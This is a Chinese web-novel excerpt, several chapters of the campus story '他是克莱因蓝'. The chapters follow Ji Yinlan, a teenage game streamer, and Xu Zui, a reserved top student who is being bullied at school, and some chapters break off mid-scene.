《他是克莱因蓝》 1. 001:对立面 《他是克莱因蓝》全本免费阅读 “现在是北京时间早晨八点整,今天是二零二四年二月十四日,情人节,天气晴,体感温度零下九度,主人出门约会记得多穿……” “啪——” 被窝里伸出一只手,没好气地拍掉了床头的电子闹钟。 二月的天丝毫没有要回暖的迹象,窗户上趴着薄薄一层白雾,屋外白茫茫的寒气从没关紧的窗缝溜进来,贴在纪因蓝的手臂上,撩起一片鸡皮疙瘩。 他搓搓手臂,掀开被子,顶着乱糟糟的头发艰难地起了床。 家里没人,只有餐桌上一杯凉透了的豆浆和一根早就变得软趴趴的油条。 他姐总是这样,无论留什么食物都把包装袋系紧往桌上一扔,根本不管这些东西会在水蒸气的洗礼下变成怎样糟糕的口感。 纪因蓝刷过牙,把那根蔫巴的油条叼在嘴里,转身进了卧室对面的房间。 他蜷着腿缩在电竞椅上,擦干净手指后按开了桌上的电脑机箱。风扇的RGB彩光从透明机箱里映出来,纪因蓝随手调整一下桌上的麦克风和摄像头,懒洋洋打着哈欠,点开了直播软件。 电脑屏幕中的小画面映出一双白皙修长、骨节分明的手,高清镜头下能够清晰看见他右手食指骨节处一枚红色的小痣。 直播间立马涌进一大堆人,纪因蓝扫了一眼弹幕助手,开口时嗓音还带着些慵懒困意: “嗯,起得早,随便播播。” “为什么这么早?你该去问我姐,为什么莫名其妙给我定一大早的闹钟。” “玩什么?我想想……” 鼠标光标在桌面几个游戏图标间晃来晃去,但还没等纪因蓝做出选择,他手边的手机突然以轰炸架势响起提示音。 纪因蓝一开始没想理会,但后来,微信信息直接变成了语音通话。他扫了一眼屏幕里“小丁子”三个字,犹豫片刻,还是关掉了直播麦克风,在手机屏幕上划了接听键。 “干什么?”纪因蓝皱着眉把手机放到耳边: “一大早又是信息轰炸又是电话,什么事这么着急上奏?” “大哥!”丁逸逍崩溃中带着一丝克制,他那刻意压低的音量为纪因蓝带来一丝不妙的预感: “你干什么呢?你告诉我你干什么呢??” “直播啊。还能干什么?”纪因蓝满脑子莫名其妙,他又打了个哈欠,不过这次,他的嘴张到一半就僵住了。 “今天开学啊,你不会忘了吧?!!” “啪嗒——” 纪因蓝的手机掉到了桌上。 猫爪TV游戏区知名主播“inBlue”在情人节早上八点四十摸鱼开播三分钟后紧急下播,留给水友们的只剩一句: “再见,我知道我姐为什么给我定闹钟了。” - “哥你是真离谱,我还想着你什么时候到校呢,结果没等到你人,只等到一个冷冰冰的开播推送。你是真不知道今天什么日子啊?” “知道,情人节啊。” 纪因蓝举着手机躲在围墙边,探头悄悄看了一眼。 教务主任牛猛正挺着他的啤酒肚,板着脸站在门口写有“北川市第一中学”字样的牌匾边,一双眼睛瞪得像铜铃,就为了抓一个迟到典型,在开学第一天的大好日子进行批评教育。 纪因蓝咧咧唇角: “看来我那闹钟还是不够智能,只说今天情人节,没说今天开学,这把闹钟全责。” “得了吧,闹钟不背这个锅。老牛已经在门口守着了,你从东边围墙翻进来,先扔书包,哥们给你打掩护。” “给谁打掩护?” 丁逸逍难得大义一次,结果一句话音没落,纪因蓝就听见了电话那头一道熟悉的声音。 他心里一激灵,立马探头望去,果然见一分钟前还站在门口的牛猛没了踪影。 下一秒,电话里的声音突然放大,险些震碎纪因蓝的耳膜: “好你个纪因蓝,开学第一天就敢迟到,到我办公室来!” 纪因蓝时常怀疑他们亲爱的牛猛牛主任是不是有什么特异功能,比如用GPS定位违纪学生并瞬间移动到他们身边抓个现行那种。 比如现在。 “老牛,猛哥,我真不是故意的,是真忘了今儿开学,您就饶了我这回吧。” 纪因蓝跟在牛猛身后,试图跟他讨个绕。 可惜他入学一年半,也跟牛猛斗智斗勇一年半,他的猛哥早已摸清了他这人,再不吃他这套。 牛猛凉凉地瞥了纪因蓝一眼,突然没头没尾地问: “早饭吃了吗?” 纪因蓝嘿嘿一笑:“吃了。” “哟,开学都能忘,吃早饭怎么没忘?” “嗐,人不吃饭会饿,不开学又……” 话说到一半,纪因蓝发现牛主任表情不对,又赶紧改口: “不开学会感受到精神的饥饿与贫困,会钻心蚀骨痛不欲生,恨不得对着知识大快朵颐!我已经知道错了!” “少油嘴滑舌,滚进来写检讨,写不完不准走。” 牛猛早听惯了他的花言巧语,这次打定主意不给他留一点余地。 他推开教务处的门,正准备给纪因蓝找个合适的角落趴着写检讨,一抬眼,却发现室内还站着另一个人。 纪因蓝也注意到了那个人。 那是个个头很高、身材挺拔的男生。 跟校服松垮随意的纪因蓝不同,男生将北川一中经典的黑白红三色校服穿得很规整,乍一看像是从标准仪容仪表图示里跑出来的,整个人看起来干净利落,骨相很好,带着点清淡如白开水的帅气。他的头发有点长,发梢垂下来,有点挡眼睛,显得眸底沉沉一片。 纪因蓝只扫了他一眼,没多在意,只以为这哥们跟自己一样,是迟到了被老牛拎过来教训的。 但等他蹲到牛主任指定的角落开始写检讨,他才发现事情并不是他想的那样。 “许最,来了啊?” 面对那个叫许最的男生,牛猛立马换了副表情。 “嗯。” 许最应了一声。 听见这个声音,纪因蓝微一挑眉,抬眸又多看了他一眼。 “是这样,明天开学典礼,有个优秀学生代表发言的环节,我看了一下,你好像还没做过学生代表,那你今天回去准备个五分钟左右的演讲稿,围绕学习生活就行,没问题吧?” “……” 纪因蓝注意到,在牛猛说完这话后,许最张了张嘴,像是想说什么,但半天也没能出声。 纪因蓝百无聊赖地观察着许最的表情。 而牛猛压根没注意到许最的欲言又止,他只拍了拍许最的肩膀: “好了,叫你来就是说一下这事,没问题就回去吧。” 说着,他又抬眼看向纪因蓝: “你在这凑什么热闹,赶紧写你检讨!一天到晚就会出幺蛾子,能不能跟人家学学?把你的衣服穿好,毛也弄正常点,能不能有个学生样子?” “好——” 纪因蓝拖长声音,抬手理理头发,把发尾几缕蓝色挑染藏了起来,又拔开笔盖,从乱糟糟的书包里抽出一张皱巴巴的A4纸,把它铺铺平整,准备创作。 在大展身手之前,他先抬手伸个懒腰,结果抬眼时,正好对上许最回头望过来的视线。 那目光冰凉冷淡,不知道是不是纪因蓝对别人的目光太敏感,他总觉得那一眼带着点审视挑衅的 2. 002:楼梯间 《他是克莱因蓝》全本免费阅读 纪因蓝敲了两下门,推门走了进去,果然见许最站在牛猛的办公桌前,正把手里的文件夹往桌上放。 牛猛看起来一脸愁色: “怎么哑成这样了?怎么弄的?” “……” 听见这话,许最瞥了纪因蓝一眼,但很快就收回了视线。 再开口时,他声音低了些,听着更哑了点: “啊……不知道啊……” “是不是着凉了?唉最近天确实冷,多穿点衣服,多喝热水,你们这些小孩,别仗着自己年轻就瞎胡来,发言上不去是小事,可千万别耽误了过几天的摸底考。” 牛猛看了眼许最递过来的演讲稿,絮絮叨叨给他嘱咐完,再抬眼,正好瞧见纪因蓝脸上略显复杂的表情。 他推推眼镜: “你又来干什么?” 纪因蓝惊叹于牛猛的变脸速度,他从自己包里翻出检讨书放到他桌上: “怎么对着人家慈眉善目,对着我就没个好脸色?您贵人多忘事,昨天不是让我写检讨吗?这不,写完了,第一时间就给您献来。” 牛猛抬手点点他,又拿过了他交上来的那张皱巴巴的A4纸: “你要是跟人许最一样听话懂事成绩好,还怕我不冲你笑?你瞧瞧,啧啧啧,这么通顺的语句,这么华丽的辞藻,上哪抄的?” 纪因蓝这就不服了: “说的什么话,我凭自己还写不出这样一份检讨书?” “你语文考几分你自己心里没点数?” 牛猛提起这个就来气: “行了赶紧走吧,从教这么些年见过这么多学生,语文考不到六十的,你是头一个。” “我不允许你这么说我,我上次期末六十二,过六十了。” “满分一百五母语考六十二很骄傲?” “不骄傲,但您得尊重事实和我的劳动成果。” “什么时候及格了什么时候再尊重!这次抄了就算了,下次再迟到我非得盯着你憋八百字出来。” 纪因蓝撇撇嘴,单方面结束了和牛猛的纠缠,把书包重新往肩上一挂,转身走了。 丁逸逍正在门口等他,见他出来,那小子张嘴正想说点什么,但很快,他的目光就越过他,落到了他身后。 纪因蓝微一挑眉,顺着他的视线回头看去,见是许最跟在他身后出了教务处。 许最的眼睛被过长的刘海稍稍挡去一些,一双眼睛都藏在那浅淡的阴影里。 他垂眸瞥了纪因蓝一眼,很快挪开视线,侧身避开了他,从他和丁逸逍身边走了过去。 纪因蓝发现这人总爱莫名其妙瞥自己,而他正好讨厌陌生人没缘由的故意打量。 他有点火大,但因为这种事情主动找事又有点太刻薄,所以纪因蓝暂时没说什么,只皱皱眉,在许最走远后嘟哝一句“怪人”。 丁逸逍没听清他这话: “啊?你说什么?” “没什么。” 纪因蓝收回视线: “在吐槽一只唐老鸭。” “唐老鸭?哪有?” 丁逸逍摸不着头脑,他左看看右看看,没看见什么鸭子,只在冷清的教务楼层内看见了许最的身影。 他立马把唐老鸭放到一边,凑到纪因蓝身边,神秘兮兮问: “哎,刚那男的,你知道是谁吗?” “是什么非认识不可的大人物?”纪因蓝打了个哈欠,没多在意。 “是啊,不,好像也不算,哎呀,一班许最啊!” 丁逸逍看起来对这位许最很感兴趣: “他没参加过活动和那些演讲,特低调,但学习特好,是老牛的心尖肉心头宝,上学期期末考数学理综两门满分,英语语文也在一百三四,简直逆天,当时学校各大群都快炸了,你居然不知道?” 纪因蓝瞥了他一眼: “我非要知道吗?无聊。” 他的反应让丁逸逍很失望,他觉得纪因蓝听见这个消息后至少该感叹一句“卧槽”。 他观察了一下纪因蓝的表情,又结合上下文,最终得出一个猜测: “你认识许最?有过节?” “不认识。” “那你对人家那么大敌意?” “有吗?没跟着你夸他就是有敌意?” 纪因蓝望了一眼许最离开的方向: “不算认识。上学期我不是常去天台睡午觉?本来是冲着清净去的,谁知道后来老有人坐墙角那背单词背古诗,烦得要死。那声音太招人厌,听了就来气,我这辈子都忘不掉。这不,就他,可算让我逮着了。果然是个怪人。” “哦!我知道了!” 听到一半,丁逸逍突然一拍手,激动得像是发现了什么隐藏剧情: “怪不得你期末语文考了六十二还能默出两句古诗,原来是有人把诗烙印在了你的灵魂里!你刚能在里边跟老牛吹牛逼,还得感谢许最大恩大德。不愧是学神!坐你旁边背个书都能提你分,简直医学奇迹啊!” “……” 纪因蓝真不想承认这件事。 “但人家就学个习,不至于被你说怪吧?好学生不都这样吗?”丁逸逍替素不相识的许最打抱不平。 “我又没说这事。” “那说哪事?” “是……” 纪因蓝又想起了昨天许最在车站干嚼的那一杯冰。 纪因蓝昨天还在心里骂了他一句死装,现在看来这事好像还另有隐情。 难不成那位许学霸吃冰不是为了装一把,而是为了逃避那什么发言? 但纪因蓝实在想不通他这么做的动机。 不乐意上直接拒绝不就行了,绕这么一大圈不嫌麻烦? 纪因蓝不理解。 “啧,算了。” 纪因蓝检讨自己一番。 他不该因为冰块哥有点拽有点装就这么想人家。 得多无聊的人才会为了拒绝一个演讲而故意弄坏嗓子? 纪因蓝不敢想。 即便他看这位许最不大顺眼,也还是觉得自己对他的揣测太过刻薄恶毒。 开学典礼和前几学期一样无聊,纪因蓝站在自班队伍末尾吹冷风打瞌睡,没什么精神。 今天阳光不错,暖融融的太阳配上台上无聊透顶的演讲,十分催眠。 纪因蓝昏昏欲睡,眼睛已经快闭上了,突然听见主持人发音标准感情充沛的一句: “接下来有请高二年级学生代表发言,让我们掌声有请高二一班的崔哲言同学!” 纪因蓝微一挑眉,睁开眼朝台上望了一眼。 上去的果然不是唐老鸭。 台上的男生身形普通,离得太远,纪因蓝也看不清他长什么样子,只觉得那人瞧着有点眼熟。 崔哲言的声音被麦克风扩得有些失真,开口音色带着吸烟者常见的沙哑感,纪因蓝远远瞧着他,正在脑海里搜刮与这人有关的记忆,他前边的丁逸逍就转过身来,一双眼睛里跳着激动的小火苗。 纪因蓝跟这人从小学同班到高中,丁逸逍都不用开口,纪因蓝就知道他想放什么屁。 纪因蓝扬扬眉: “怎么,你又认识?又有瓜要给我介绍?” “嗐,不算不算!”丁逸逍摆摆手,瞅了一眼旁边巡视的牛猛,努力将身子靠近纪因蓝,压低声音道: “这个崔哲言,最近追闪姐追得很凶,你不知道吗?天天跟在闪姐后面跑,把闪姐烦得要死。我看他那样子以为是个混子,没想到还是个尖子,逼格这么高,能上台讲话那种?” 纪因蓝从丁逸逍的语气里听出一丝幸灾乐祸。 他轻嗤一声: “哦,他啊,想起来了,之前见过一次。姜闪闪身上是不是有什么DeBuff,怎么总能招惹到这种奇怪的人?” “嗐。”丁逸逍笑了两声: “美女的烦恼你少管。” 姜闪闪跟他俩也是初中同一个班出来的,只是后来文理分班,姜闪闪选了理,被分去了他俩隔壁的十班。 文理班节奏不同,三人能凑在一起的时间相对以前来说少了很多,但时不时还是会一起回个家吃个饭。一般三人有约的时候,姜闪闪都会在靠近九班十班的楼梯间那边等他们,但这次纪因蓝和丁逸逍过去时,姜闪闪身边还有另一个人。 “ 3. 003:恶语 《他是克莱因蓝》全本免费阅读 许最开溜的速度很快,等纪因蓝回过神来,那人已经拐到教学楼中间的大楼梯里去了。 正认真扒着门缝看热闹的丁逸逍回过头,奇怪道: “刚有人来吗?我听见脚步声,怎么没见到人影?” “没……你听错了。” 纪因蓝表情僵硬。 他又看了眼许最消失的方向。 而后,他轻轻叹了口气,整理好刚摆出来要给许最看的凶狠表情,抬手拍了把丁逸逍的肩膀: “走,凑热闹去。” 楼梯间里,崔哲言的脸色很难看: “许最?你喜欢那个怪胎?你了解他吗?” “不需要了解。” 姜闪闪扬扬下巴: “我不许你这么评价我喜欢的人。” 崔哲言嗤笑一声,语气很是不屑: “也就是你们离得远,你去问问一班二班,谁不知道他那怪胎?一天到晚屁也不放一个,就知道坐那装逼,我们全班人没几个愿意跟他说话,也就老师看他成绩好把他当个宝。成绩好又怎么样,也不想想,他成天就知道看书学习,再学不好,活着还有什么意义?你眼光也够独特的,喜欢这种人?你说看他长得帅?他哪帅了,不也就那样,我觉着挺普通的。” “砰砰——” 崔哲言话音还没落,楼梯间厚重的金属门突然被人拍了两下,硬生生打断了他的话。 崔哲言和姜闪闪都愣了一下,朝声音传来的方向望去,就见纪因蓝单肩背着书包,嚼着口香糖,懒散地倚在门边。 他身上的校服外套也不知是因为穿大了一号还是他人太瘦,显得随意又松垮,一头短发看起来有些凌乱,发尾几缕蓝色挑染乱翘着,皮肤很白,五官和神情配在一起,野得张扬。 “我小姐们脸皮薄,有些难听话我就帮她说了。” 纪因蓝用舌尖抵着泡泡糖,吹了个饱满的蓝色泡泡,又随着一声清亮的“啪”破掉: “哥们,首先,你得搞清楚,就算她喜欢的人再烂,也跟她看不上你这件事不冲突。你不用想尽办法证明她喜欢的人有多烂,因为她喜欢谁也轮不上喜欢你。看不上你就是看不上你,家里没有镜子总有尿吧,下次发散自己的迷之自信之前麻烦先照照自己什么样子,我看你也不是什么好鸟,早晨才念了人家写的演讲稿出了把风头,现在就站人背后说人坏话,好歹等几天呢?要点脸吧。” 原本纪因蓝的出现就令崔哲言脸色够差了,等他说完最后一句,崔哲言整个人都僵硬得如同一尊石像。 今天他上台念的确实是许最写的演讲稿,这作为学生代表发言的名额也确实是他跟牛猛争来的,谁叫许最自己不争气? 可纪因蓝为什么会知道这些? 崔哲言脸上红白青紫过了一轮,但他不敢站在这跟纪因蓝硬刚。 一是自己身边没人,二是纪因蓝这人确实不好招惹。 每个学校应该都有那么一两个只要提起名字大家就都能说上一两句的风云人物,怪胎许最算一个,眼前这染着几撮蓝毛的小子也算一个。 听说纪因蓝这人从小学开始就很浑,他家里没人管他,性子野得够可以,成天就会打游戏,还差点为了游戏辍学。 后来,不知道他抽了哪根筋,游走在辍学边缘的人突然捡回了学习,也是他幸运,那年分数线低到离谱,他硬是凭着极致偏科的成绩和杂七杂八的加分项,压着分数线进了北川一中。 然而这些也只是他传奇人生中的一小部分,真正让“纪因蓝”这个名字震撼整个校园的,还得是他高一刚入学时干出的光荣事迹。 北川一中在靠近北川市中心的位置,挨着老城区,周围乱七八糟的人很多,以前还没什么事,就前两年突然冒出一伙儿人,掘出了“问学生要钱”的财富密码,动不动就带着人把学生堵在角落里,不仅劫财,有时还会骚扰女生。 这事性质恶劣,校方和学生家长都想过办法,但那些混混实在狡猾,赶又赶不走抓又抓不住,那年,牛猛为这事消瘦不少,头发都白了好几根。 然而,就在大家一筹莫展之际,纪因蓝驾着七彩祥云拯救了所有人——他找了一帮校内外的朋友演了一出好戏,把那群不三不四的混混全部揪出来好好“教育”了一顿,没动手没闹事没给任何人添麻烦,轻轻松松就让北川一中恢复了和平,从此,此地方圆三公里内再也看不见那群家伙的影子。 这事不仅镇住了校外人,也让遍地循规蹈矩三好学生的北川一中受了极大震撼,从此纪因蓝的传说在一中流传开来,一提他的名字,谁都知道那个叫纪因蓝的,是个不惹事却也不怕事的狠人。 尽管崔哲言再狂,现在也不敢自己一个人站在纪因蓝面前跟他硬刚,所以,就算纪因蓝说话难听,他也没敢回怼,只用眼睛恶狠狠地剜了他一眼,而后低头泄愤似的啐出一口,自己背着书包走了。 纪因蓝看着崔哲言消失在楼梯拐角,才轻嗤一声,收回了视线。 姜闪闪明显松了口气。 纪因蓝瞥了她一眼,抬手屈指敲敲她的脑袋: “你上哪招惹这么多烂桃花?这第几个了?” 姜闪闪毫不客气地一拳捶在他肩膀上: “你以为我想啊?你们男人都不是什么好东西!烦死了!” “哦?”纪因蓝撇撇嘴角: “看来坏东西刚才是在多管闲事,为了将功补过,我这就去把那兄弟请回来。” 姜闪闪气得又一拳抡在他身上。 丁逸逍在边上看得直乐,但他此时此刻更关心另一件事: “哎,闪姐,你真喜欢许最?你玩暗恋啊,瞒得真好,我都不知道!” “当然不啊,随便找个借口堵他而已。我才不玩暗恋,我喜欢谁,都是大大方方直接上的好吗?” 姜闪闪摇摇头,装模作样叹了口气: “那家伙烦死人了,成天跟我吹牛逼,像一只大公鸡。听说他一直跟他们班那个许最不对付,说出来气气他罢了。不过话说回来,许最确实挺帅,就是可惜,不是你闪姐喜欢的类型。” 看起来姜闪闪确实被崔哲言烦得不轻,晚上整整一顿饭的时间都在绘声绘色慷慨激昂地跟纪因蓝和丁逸逍描述崔哲言这几天在她身边的精彩发言和表现。 看久了姜闪闪的表演,等纪因蓝回家,天已经黑透了。 最近寒流入侵,二月的夜冷得像三九天,纪因蓝在路口跟丁逸逍和姜闪闪分别,一个人走进小路深处。 偶尔一阵风路过,凉意从袖口钻进骨髓,冷得人直打哆嗦。 纪因蓝散步似的慢腾腾往回走,进小区前,有车在他身后按了两下喇叭,随后车灯扫过他,直直开进了地下车库。 纪因蓝瞥了眼那辆车,轻“啧”一声,等他慢腾腾走进单元里,果然已经有人在电梯旁边等着他。 “纪因蓝,你看看现在几点了,这么晚回家,又上哪鬼混了?网吧?” 说话的女生穿着打扮松散随意,照纪因蓝的话说,她看起来就像个闲散小道士。 她留着一头短发,看起来瘦瘦小小,没有化妆,脸上还能看见星星点点的小雀斑,长相很嫩,看起来活像个中学生。 说话的时候,她正靠在墙边,用手指甩着一枚铜钱吊坠,松弛且慵懒。 “你可别搞笑了,网吧的配置哪有我的好?” 纪因蓝冲纪四余笑笑: “就是跟小丁闪闪吃了个饭,回来晚了,至于跟个警犬似的盯着我盘问吗?” “怎么跟你姐说话呢?说谁 4.004:脚印 《他是克莱因蓝》全本免费阅读 纪因蓝的直播时间一般在晚上七点,但因为今天跟丁逸逍和姜闪闪玩得久了点,等他上线,已经快要八点半了。 纪因蓝关上了电竞房的门。 室内光线昏暗,一时只剩了机箱旋转着的RGB彩灯和桌边架着的一盏氛围灯。 冷色的灯光打在他手上,显得手指修长,骨节分明又漂亮。 -小孩哥迟到了,你知道我等了你多久吗?你知道这一小时我是怎么过的吗? -来了来了,我还以为今天要鸽了。 -恭迎小孩哥上播,小孩哥高考万分万分万万分! 纪四余来给纪因蓝送水果时正好瞥到这条弹幕,她笑了一声: “万分?有些科目能及格我就谢天谢地了。播一会儿就行了,别播太晚啊,‘小孩哥’开学还有摸底考试吧?” -什么?刚开学就考试?哪个学校这么逆天? -为小孩哥默哀一秒。 “学点好的吧姐,别跟着他们叫我小孩哥!” 纪因蓝不满地转头看向纪四余,而纪四余早已溜之大吉,走前还贴心地替纪因蓝带上了门。 -哈哈哈就叫!小孩哥小孩哥小孩哥! -小孩哥生气了小孩哥,是因为我们叫你小孩哥吗?对不起我不知道你不喜欢被叫小孩哥,下次再也不叫你小孩哥了小孩哥。 -笑抽了,小孩哥能不能用镜头怼一下脸,让我们看看你现在的表情。 纪因蓝臭着脸将摄像头又往下压了压,确保他们只能看到自己的手和自己炫酷的鼠标键盘。 纪因蓝讨厌被叫做“小孩”。 他接触直播算比较早的,那时候他才上初中,但游戏里国服韩服排名都很高,很快就被游戏俱乐部挖到,发信息邀请他去试训。 初中时的纪因蓝不喜欢学习,满脑子都在想要怎么赚钱,所以当时是真的动过辍学走职业电竞的念头,不过还没成真就被纪四余和某位人很好的前辈连劝带骂地堵了回去。那位前辈可能看出了他走职业电竞不是因为热爱而是因为一些现实原因,所以仔细了解过后,建议他试试直播这条路。 事实证明,直播确实要比职业更适合纪因蓝。 他游戏打得好,又会说又会骂,天生自带直播效果,在不露脸只露手的情况下短短几年就挤进了猫爪TV顶流主播的行列。 因为手好看加声音好听,纪因蓝还有过相当一部分女友粉,至于为什么是“有过”……某次平台办线下活动,纪因蓝也去凑了个热闹,但那时候他还没有完全长开,直播镜头下活脱脱就是个青涩稚嫩的小少年。由于平时的直播形象和本人反差实在太大,在当时惊掉了很多人的下巴。 那一晚之后,纪因蓝的女友粉就尽数销声匿迹了,用她们的话来说,继续梦女有种很刑的美。也是从那之后,纪因蓝失去了自己的ID,取而代之的是弹幕里刷过的一片又一片的“小孩哥”,也不知到底是谁先起的头。 “这名字是时候更新了吧?我多大了,还一口一个小孩,烦死人了。” -呦呦呦,小孩哥不好意思了。 -在爸爸妈妈眼里,你多大都是小孩[慈祥.jpg] -哥不做想做儿子?那你叫声爹来听听。 纪因蓝对着面前不说人话的弹幕恶狠狠翻了个他们看不见的白眼。 不过,一个白眼还没翻完,他先瞥见了直播间里一个耀眼的入房通报—— [欢迎主播inBlue的猫猫守护神“小咯叽”大人进入直播间~] 这句通报后,弹幕又刷过一轮。 -咯叽来了。 -咯叽今天来晚了,小孩哥都播了五六分钟了。 -批评! “轮得着你们批评?” 纪因蓝扫了眼躺在在线观众等级榜榜首的人。 那人的ID叫“小咯叽”,因为等级高,他的名字呈耀眼的蓝金色,头像是一只简笔画的蓝色蜡笔小羊,很可爱,配上他的名字,总让人觉得好像只要伸手捏一捏,小羊就会发出“咯叽咯叽”的声音。 小咯叽是纪因蓝的老粉了,算是他第一批水友,更是他粉丝团的元老级人物,毫不夸张地说一句,知道纪因蓝的,都不会对小咯叽陌生。 毕竟,纪因蓝直播几年,小咯叽几乎没落过他一场直播,每次都是第一时间赶到他的直播间,再给他丢几个小礼物,虽然刷的礼物都不贵,但因为陪伴时间很长,他在纪因蓝直播间的等级很高,比如“猫猫守护神”这个称号就十分罕见,就算放眼全站也没几个人拥有。 冠名小咯叽的礼物雨再次袭来,纪因蓝瞥了一眼: “别送了,留着自己买好吃的吧。其他人也别送了,不缺你们这点。” 他操控鼠标在桌面两个图标间晃了晃,随口问: “咯叽打圣杯吗?可以先跟你打两把。” “烈焰圣杯”是纪因蓝常玩的一款MOBA游戏,也是当年差点让他走上职业电竞的游戏。这款游戏在国内乃至世界范围内都十分火爆,热度高到只要提到MOBA,就算是不玩游戏的人也会想到烈焰圣杯。 纪因蓝之前出过不少水友福利,福利里出镜率最高的就是带水友上分,而身为他资历最久的尊贵水友,小咯叽自然能常常占到他的双排位。纪因蓝主玩ADC,而小咯叽有几个绝活辅助英雄,不仅玩得好,跟纪因蓝配合也很好,平时直播的时候纪因蓝就很乐意跟小咯叽一起玩。 问完这话之后,纪因蓝盯着弹幕助手,过了一会儿才看见小咯叽尊贵的蓝金色字体飘过。 他只答了简单五个字: -不了。 -写作业。 后面的弹幕很快把小咯叽这两句话顶到了看不见的地方。 -什么?原来咯叽也是学生。 -楼上新粉吧,这不大家早知道的事吗? -小孩哥偏心,为什么只问咯叽玩不玩,不问我玩不玩? -555今天看不到咯叽老师的超绝小羊了,badbad。 -跟Spring玩跟Spring玩跟Spring玩吧!好久没联动了!首页你俩直播间都挨在一起,这就是天意! “春哥?”纪因蓝扬扬眉: “他在玩吗?来个探子去他直播间瞅一眼,帮我问一句。” 一群人浩浩荡荡地走了,又浩浩荡荡地回来。 -没戏了。 -Spring没玩圣杯,并婉拒了你的邀请。 -他在玩公主换装小游戏,并邀请你一起。 “我也婉拒。” 看见“换装游戏”四 5.005:低潮 《他是克莱因蓝》全本免费阅读 纪因蓝觉得,就算许最再无聊再抽筋再有什么怪癖,应该也不会在考试前去这么远的废弃水房把自己的书包泡到水里踩两脚。 是在和同学开玩笑闹着玩? 那这玩笑也未免太恶劣了一些。 说起来,这样的画面和剧情,倒是让纪因蓝联想到了一点不好的事。 但刻板印象里会被霸凌的同学一般都是瘦弱温柔孤僻的小女生小男生,许最一个发育正常身体健康的男高中生,怎么会……?他看起来不是很拽吗? 纪因蓝疑惑一瞬,但也没太放在心上。 毕竟一个陌生人而已,再怎样,也跟他没多大关系。 纪因蓝收回视线,拐进了九班的教室里。 北川一中开学后的这场摸底考并不算正规考试,老师们压缩了时间和题量,让学生们一天就能考完四门科目,不用耽误后续的课程进度。 早晨的语文数学在学生们的片片哀嚎中落下了尾声,写完数学最后一道大题,纪因蓝丝滑交卷,收好笔后抬手伸了个大大的懒腰。 同桌的丁逸逍在课桌上瘫了一会儿,才拍拍纪因蓝的肩,拉着他跟自己一起去食堂吃饭。 他们到的时候,食堂的桌椅已经挤满了人,纪因蓝端着一盘糖醋排骨,以目光环视四周,精准在黑压压一片人头中找见了姜闪闪的位置。 “这么好,还给我们留位置?” 纪因蓝把餐盘放在她对面,又抬臂朝丁逸逍示意往这边来。 “美得你。拼桌人刚走,让你赶了个巧罢了。” 姜闪闪翻了个白眼,看纪因蓝一脸困意,随口问: “你昨晚没睡觉吗?怎么看起来像是被狐狸精吸了精气似的?” 纪因蓝打个哈欠,含糊道: “睡得晚,没睡够呗。” 姜闪闪不可思议: “不会吧,一场语文考试那么长时间,还不够你睡的?” “……”纪因蓝实在无语: “你当我是什么人?我语文考试当然是认真在答题好吧?哪有时间睡觉?” 姜闪闪一脸鄙夷,显然对他的话持怀疑态度。 毕竟纪因蓝可是出了名的偏科王,牛猛曾经说过,要是把他数学和理综成绩单拎出来,把他放去理科一班他都能坐得住。但问题是他的语文英语实在太过拉胯,语文作为母语都很难及格,英语成绩更是拿到过惊人的十五分。九班的语文英语老师对他是又爱又恨,还联名赐了他一个称号——“0国语言拥有者”。 “哎哎,我作证啊。” 丁逸逍原本在闷头吃饭,百忙之中举手打断了他俩的话: “我作证,蓝这次真没睡觉,语文考试他坐在我旁边欻欻写,把我弄得怪紧张的。我还偷瞄一眼,可了不得,作文纸都快写满了!看来这次手感很不错嘛,文思泉涌啊!” “那可不?” 纪因蓝对丁逸逍的捧场十分满意,既然气氛都到这了,他还想再顺势自夸一番今早写的仙品作文,但还没开口,他突然发现对面的姜闪闪将视线越过他,望向了另一个人。 “哎!许最同学!” 还不等纪因蓝疑惑,姜闪闪就皱着眉唤了一声。 听见这个名字,纪因蓝微一挑眉,顺着姜闪闪目光看去,果然看见桌边不知何时路过的许最。 姜闪闪迟疑地抬手指了指: “你背后……” 纪因蓝目光微微下移。 少年规整的校服后不知被谁贴了张纸,上面用黑笔涂了一只大乌龟,乌龟的嘴巴被一块叉形图案挡了起来,周边是黑红蓝三种颜色的笔迹,凌乱地涂着“怪胎”、“哑巴”、“死(马头)装b哥”等等难听的词句。 听见姜闪闪的提醒,许最顿了顿,才像是意识到什么,抬手揭掉了背后那张纸。 他只扫了一眼,就将那张画满涂鸦的横线纸揉成了一团。 周围同学低声议论着,频频将目光投向这边。 在令人难堪的视线与低语中,许最什么话也没说,只垂下眼,将纸团随手塞进口袋里,低声道了句“谢谢”。 那张纸不知道是什么时候到了他背后,也不知道一路走来被多少人看过,却没有一个人提醒他。 许最跟姜闪闪道了谢后就离开了食堂,这个小插曲很快过去,丁逸逍慢吞吞嚼着嘴里的肉块,觉得有些不是滋味: “这算什么?玩笑吗?” 纪因蓝淡淡道: “我今早来时还看见他拎着个被脏水浸透了的白书包,也是玩笑?” “什么玩笑啊,明明就是霸凌,这实在太恶劣了。” 姜闪闪用勺子一下下插着碗里的米饭,像是试图把米粒变成糍粑。 纪因蓝瞥了她一眼,看见她餐盘里青青白白一片,一点荤腥也不带: “又减肥?你兔子啊天天吃草。” “你管呢。” 姜闪闪不知为何突然变得有点低落,纪因蓝跟她玩了这么多年,哪能猜不出她的心思? “怎么?内疚了?” “?”丁逸逍有点茫然: “是我漏了什么剧情吗?许最被整蛊,闪姐有什么好内疚?” 纪因蓝用看傻子的目光看着他: “问你闪姐啊。” 姜闪闪丢了勺子,烦躁地揉乱了 6.006:转折 《他是克莱因蓝》全本免费阅读 办公室墙上的挂钟滴答滴答一下下地轻响,原本不会引人注意的声音此时在安静的室内却显得格外清晰。 许最抱着书包,乖乖坐在班主任的办公桌边。 原本米白色的书包布料上挂着一片片发灰的水痕,水干了,可难看的痕迹还爬在上面,无声地控诉着它遭遇过的一切。 许最微微垂着眼,手指缠着书包带,绕了一圈又一圈,布条绷紧,勒到指间都泛白。 “许最啊,你最近跟崔哲言到底怎么回事?这是学校,不是你们小男生闹别扭的地方。你说你,高一刚入学那会儿你们就有这种情况,现在都高二了,你跟同学的关系没修复好不说,怎么还越来越差了?” 身材略有发福的中年男老师坐在办公桌后,他闲适地朝后靠着,抬手轻轻推了下眼镜,镜片的反光微微一晃,在许最手上划过一小片光斑。 许最下意识将手往后挪了挪,薄唇轻轻抿起,喉咙发出很低的一声: “嗯……” “别总嗯啊,跟你说点什么你都只会嗯,在教室里嗯,现在把你叫到办公室来你还是只会嗯,那我把你叫来做什么?我们是来解决问题的,不是让你听个耳旁风就过去了。” 